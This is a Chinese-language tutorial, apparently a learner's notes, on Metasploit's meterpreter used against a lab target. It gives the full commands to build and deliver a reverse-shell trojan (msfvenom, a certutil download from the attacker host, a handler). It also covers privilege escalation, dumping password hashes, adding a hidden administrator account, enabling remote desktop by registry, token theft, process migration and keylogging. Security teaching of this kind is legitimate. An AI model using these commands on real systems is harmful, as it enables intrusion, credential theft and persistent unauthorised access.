meterpreter是metasploit中的一個殺手鐧,通常在漏洞利用成功后,會返回給攻擊者一個攻擊通道,其中有很多自動化操作
場景布置
生成木馬
首先,我們使用metasploit中的另一個后門工具msfvenom生成一個木馬,方便我們測試meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=1234 -f exe -o /root/shell.exe

在/root目錄生成了一個shell.exe文件,執行該程序回連地址為172.16.1.103端口為1234的木馬
將木馬共享到windows電腦
service apache2 start打開Web服務
cp /root/shell.exe /var/www/html/,拷貝到Web服務目錄

在靶機中執行命令下載木馬到C:\根目錄並使用dir查看
certutil -urlcache -split -f http://172.16.1.103/shell.exe C:\shell.exe

在msfconsole控制台執行監聽
- [use exploit/multi/handler]
[set payload windows/meterpreter/reverse_tcp]
[set LHOST 172.16.1.103]
[set LPORT 1234]
[run] 開始監聽即可


靶機執行shell.exe即可反彈meterpreter


meterpreter的使用
meterpreter最出名的就是其接口的方便性,提權,各種命令應有盡有
help查看幫助

會顯示所有命令的幫助信息,例如background后台運行我們的會話
background后台運行我們的會話

如果想要連接我們的會話,使用msfconsole中學習的sessions命令可以來連接

sysinfo 查看靶機系統相關信息

exit斷開並退出會話
exit會把會話直接斷開
對文件操作的有這些

很容易理解,這些和linux使用的方法是一樣的,這里不在一一使用
注意的是:meterpreter中的操作是相對於會話中對我們靶機的操作,而不是攻擊機本身
getuid 查看當前會話權限

發下我們獲取的管理員的權限,因為是管理員執行的我們的木馬。如果是一個低權限用戶執行的我們的木馬,那么我們的獲取的會話也是低權限的用戶
getsystem 獲取操作系統權限
system:操作系統權限

這個操作大部分情況下是不成功的,因為這個操作是只有我們獲取的會話是管理員權限,才可以提權為system權限
那么為什么要獲取system權限呢,獲取system權限我們可以直接使用hashdump把密碼hash值導出,使我們對靶機的控制更加方便
hashdump 導出系統中密碼的hash值
通過 sam 文件導出系統用戶的 hash值,前提是需要獲取system權限,有時候獲取了system權限我們也無法執行
但是,msfconsole中有導出hash的模塊,需要在meterpreter中run 模塊路徑執行
run post/windows/gather/smart_hashdump獲取hash

shell 進入會話靶機終端

這里的權限會跟隨meterpreter的權限
若想返回meterpreter控制台,輸入exit退出即可

在進入命令行后,中文可能出現亂碼

chcp 65001將終端編碼改為英文即可

run getgui -e 開啟遠程遠程桌面
可以試一試能不能開啟,權限越高,越容易開啟

這里使用了netstat查看靶機端口的開放情況,可以看到3389端口已經被我們開啟
開啟后,如果我們通過hashdump破解的管理員或者其他用戶的密碼,可以使用用戶名密碼直接連接
當然我們也可以主機創建用戶
net user hacker Admin123 /add和net localgroup administratos hacker /add
創建hacker用戶並將hacker用戶加入管理員組

若run getgui -e沒有開啟3389遠程桌面,我們可以使用cmd命令打開3389服務
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

使用netstat -an查看

netstat 查看靶機端口開放狀態

ps 查看靶機進程

會顯示靶機運行的進程的進程號,父進程號,運行的名稱,多少位,運行的用戶是,運行的程序的位置
進程號很有用,后面有兩個關於進程的提權
steal_token 竊取用戶進程令牌
在系統中,一個程序需要用戶來運行,運行到內存中就變成了進程,steal_token可以偽裝為指定進程的所運行的用戶
例如notepad.exe是Administrator用於運行的,那么steal_token只需要指定notepad.exe的進程號,就可以將我們的權限偽裝為Administrator
ps 查看進程

可以看到svchost.exe的進程為1268,運行的用戶是NT AUTHORRITY/SYSTEM,擁有system權限的system用戶
steal_token 1268偽裝system

在我們偽裝后,權限就變為了system
migrate 內存遷移
這個內存遷移就是將我們現在反彈shell的進程轉換到一個安全的進程上,作用和steal_token差不多,不一樣的是steal_token只是已這個進程的權限執行命令,而我們是直接切換到了這個進程,如果將該進程殺死,我們的shell也會關閉,不過一般執行該操作也需要得到system或管理員的權限
ps 查看進程

conhost.exe的進程為2200,運行的用戶是Administrator
使用內存遷移,獲取administrator,這里我們的權限是system,可以說一個權限的降級
注意,這里只是為了演示進行的降級,一般情況下,肯定權限越高越好
migrate 2200

通過getuid獲取到現在是Administrator權限
當使用內存遷移的時候,建議不要遷移到低權限的用戶,不然權限會變低,而且無法提升權限
遷移到另一個進程將有助於 Meterpreter 與其交互。例如,如果您看到一個文字處理器在目標上運行(例如 word.exe、notepad.exe 等),您可以遷移到它並開始捕獲用戶發送到該進程的擊鍵。某些 Meterpreter 版本將為您提供keyscan_start、 keyscan_stop和keyscan_dump命令選項,使 Meterpreter 像鍵盤記錄器一樣工作。遷移到另一個進程也可以幫助您擁有更穩定的 Meterpreter 會話。
要遷移到任何進程,您需要鍵入 migrate 命令,然后鍵入所需目標進程的 PID
load 加載其他插件
在meterpreter中也可插入其他插件,例如mimimatz,不用下載,在meterpreter中有內置

在help中會有mimikatz插件的幫助
mimikatz還沒有學習,后續學習
